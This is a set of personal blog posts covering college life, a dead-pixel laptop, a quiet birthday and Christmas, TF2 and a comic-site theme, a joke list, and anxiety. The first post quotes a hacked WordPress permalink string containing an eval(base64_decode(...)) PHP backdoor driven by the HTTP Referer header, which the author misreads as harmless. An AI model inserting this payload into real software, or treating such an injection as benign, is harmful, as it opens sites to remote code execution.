Moving On and On
So pretty much two semesters of school have passed since I’ve last decided to update this.
I suppose I haven’t really had anything “news-worthy” to relay, but laziness has probably more to do with it than anything else.
Firstly, on a random note … I realized that my install of WordPress became way outdated and had become subject to an exploit because I neglected to update it. Luckily all that entailed was the permalink structures getting borked … basically my old link structure was “%title%-%post_id%” … but when I checked the other day, it was “/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
” which severely messed up any post link. Not really sure what an attacker would gain from this, but nothing else seemed to have been changed/messed with so I guess it doesn’t matter :-/.
On a sad note, my MacBook Pro has a line of dead pixels :’(. I suppose it could be worse, but it’s now nearly 2.5 years old so there’s not so much I can do about it but hope it doesn’t get much worse. Unless some huge advancements come out in laptops or my needs change anytime soon, I don’t expect I’ll be upgrading until this laptop bites the dust for good.
I turned 22 a little of a month ago. Really doesn’t feel any different from 21, although I suppose I wasn’t really expecting it to. Didn’t really do anything for my birthday. Didn’t get anything or really go anywhere. Could have been better, could have been a lot worse (like my 18th birthday).
Christmas was boring. My family doesn’t really do presents anymore. After my mom died, to most of us, it’s really just another day … as sad as that may seem. Not really sure what I’m doing for New Years, if anything, but it should be interesting regardless 
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Recently I did some work on an irc bot that would facilitate “Pick-up Games” for TF2. It’s not finished, by any means, but it’s functional for one of it’s intended modes. It’s really quite basic and was only really a day or so’s work.
Also, I finally decided to publish the work-in-progress theme for TheSpiffyLife in hopes of Guy finally decided to help me finish it with some extra/replacement images 
. The theme is much simpler (coding wise). Some may not appreciate the “grey-ness” of it, but I think it still flows nicely. It’s also packed with some nifty javascript for the search functions, navigating the comics (next, back, first, last, etc), as well as leaving comments. It’s not all 100%, but if something does fail it should still resort to the regular page instead of the javascript functions.
Anywho, that’s all for now.
-Josh
Blarg
I’ve really managed to stay busy in the past few weeks. Homework takes most of my time and if it’s not that, it’s studying for a series of tests. I can’t wait until Spring Break. I don’t really have any “exciting” plans lined up, besides being lazy for 9 days 
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TheSpiffyLIfe seems to have gone on a hiatus; Guy’s obviously quite busy himself. I had a new design layout lined up but got bored with tweaking it. Plus I’m waiting for Guy to make a spiffy new header image.
I’m interested in playing around with FastCGI using C. I have no real purpose where the added speed would be necessary, but I think it would be cool to be able to utilize it if necessary.
I’d like to learn some more Objective-C, but the syntax is a tad foreign to me (some call it “intuitive” … lol?).
If I get bored enough over the next couple of weeks, I’ll release a SCMS version where people can make their own comic site with news without the need of WordPress.
On even more random news, I’ve been playing a lot of Team Fortress 2 lately. It’s REALLY addictive, and boy do I love shooting people (lol). I’ve played wayyyy too much, but it’s all good .
PS. Skittles.
Exciting Randomness
Professors Definition of a Kiss
Professors of different subjects define the same word in different ways:
Prof. of Computer Science:
A kiss is a few bits of love compiled into a byte.
Prof. of Algebra:
A kiss is two divided by nothing.
Prof. of Geometry:
A kiss is the shortest distance between two straight lines.
Prof. of Physics:
A kiss is the contraction of mouth due to the expansion of the heart.
Prof. of Chemistry:
A kiss is the reaction of the interaction between two hearts.
Prof. of Zoology:
A kiss is the interchange of unisexual salivary bacteria.
Prof. of Physiology:
A kiss is the juxtaposition of two orbicular ors muscles in the state of contraction.
Prof. of Dentistry:
A kiss is infectious and antiseptic.
Prof. of Accountancy:
A kiss is a credit because it is profitable when returned.
Prof. of Economics:
A kiss is that thing for which the demand is higher than the supply.
Prof. of Statistics:
A kiss is an event whose probability depends on the vital statistics of 36-24-36.
Prof. of Philosophy:
A kiss is the persecution for the child, ecstasy for the youth and homage for the old.
Prof. of English:
A kiss is a noun that is used as a conjunction; it is more common than proper; it is spoken in the plural and it is applicable to all.
Prof. of Engineering:
Uh, What? I’m not familiar with that term.
mmm … pwnage
Oh to Be Free
I can’t remember the last time I woke up eager to face the day. Without running through thousands of scenarios of how the day could / will go wrong. That’s not even to say that the situations I’m in or the things I’m doing really call for such thoughts, it’s just everyday stuff. It’s getting there, it’s getting out of the house, it’s the deviating from solidarity … allowing myself to ignore the arguments in my head (schizophrenia anyone?) and simply have a good time. The severity of it all is in no way consistent or even related to much of anything besides just being entirely random. Certain people and/or situations seem to be a slight remedy, at least to some extent. It seems the only times (at least lately) that it’s not a concern of mine is when I find myself unable to think (which turns out to be rare). Even in slumber my brain runs a thousand miles a minute, and thankfully to my grand subconscious provides lovely dreams (*cough* sarcasm).
Creating a pseudo Grading Program from scratch isn’t quite as thrilling as one my think (wait, no one thinks that it would be … hmm).